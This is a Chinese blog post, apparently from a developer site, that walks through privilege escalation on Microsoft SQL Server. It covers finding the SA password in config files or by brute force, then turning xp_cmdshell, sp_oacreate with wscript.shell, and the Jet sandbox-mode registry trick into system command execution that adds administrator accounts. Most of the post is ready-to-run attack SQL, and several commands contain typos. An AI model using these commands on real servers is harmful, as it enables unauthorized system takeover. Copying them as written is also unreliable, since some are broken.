mssql数据库提权

获取数据库密码

翻配置文件:conn.asp(asp站点) ,web.config(aspx站点) , db.inc

暴力破解

sa权限利用 微软的SQL Server在提权过程中往往也会给我们很大帮助,尤其是当找到SA用户的密码时,系统权限就基本到手了

一、xp_cmdshell提权

前提是必须获取SA用户的密码(SA用户具有最高权限)

在连接成功后在sql命令处执行:

exec xp_cmdshell 'net user aaa aaa /add && net localgroup administrators aaa /add'

就能成功的创建一个账户aaa并且加到管理员组:

如果执行sql语句不成功,首先检查判断xp_cmdshell是否存在:

select count(*)from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell' ; 

返回1是存在的

xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后的版本中则默认禁止。如果用户拥有管理员sa权限则可以用sp_configure重修开启它。

开启xp_cmdshell:

EXEC sp_configure 'show advanced options',1//允许修改高级参数
RECONFIGURE
EXEC sp_configure 'xp_cmdshell',1  //打开xp_cmdshell扩展
RECONFIGURE 

关闭xp_cmdshell:

exec sp_configure 'show advanced options', 1;reconfigure;
exec sp_configure 'xp_cmdshell', 0;reconfigure 

提权:  

exec master..xp_cmdshell 'net user test pinohd123. /add'    添加用户test,密码test
exec master..xp_cmdshell 'net localgroup administrators test add'    添加test用户到管理员组 

二、sp_oacreate提权

在xp_cmdshell被删除或者出错情况下,可以充分利用SP_OACreate进行提权。 开启:

exec sp_configure 'show advanced options',1;reconfigure;
exec sp_configure 'ole automation procedures',1;recofigure;

关闭:

exec sp_configure 'show advanced options',1;reconfigure;
exec sp_configure 'ole automation procedures',0;reconfigure;
exec sp_configure 'show advanced options',0;reconfigure; 

提权:  

declare @shell int
exec sp_oacreate 'wscript.shell', @shell out
exec sp_method @shell, 'run' , null, 'c:\windows\system32\cmd.exe \c "net user test test /add"

declare @shell int
exec sp_oacreate 'shell.application',@shell out
exec sp_oamethod @shell, 'shellexecute', null, 'cmd.exe', 'cmd /c net user test test /add', 'c:\windows\system32', '','1';

三、沙盒提权

什么是沙盒模式?

沙盒模式是数据库的一种安全功能.在沙盒模式下,只对控件和字段属性中的安全且不含恶意代码的表达式求值. 如果表达式不使用可能以某种方式损坏数据的函数或属性,则可认为它是安全的.

利用条件:

  • Access可以调用VBS的函数,以System权限执行任意命令

  • Access执行这个命令是有条件的,需要一个开关被打开

  • 这个开关在注册表里

  • SA是有权限写注册表的

  • 用SA写注册表的权限打开那个开关

  • 调用Access里的执行命令方法,以system权限执行任意命令执行SQL命令,执行了以下命令

开启默认关闭的xp_regwrite存储过程:

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1

 利用jet.oledb执行系统命令添加系统账号:

select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\dnary.mdb','select shell("whoami")') 

openrowset是可以通过OLE DB访问SQL Server数据库,OLE DB是应用程序链接到SQL Server的的驱动程序。

四、使用CLR执行系统命令

  。。。。

  • 11
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值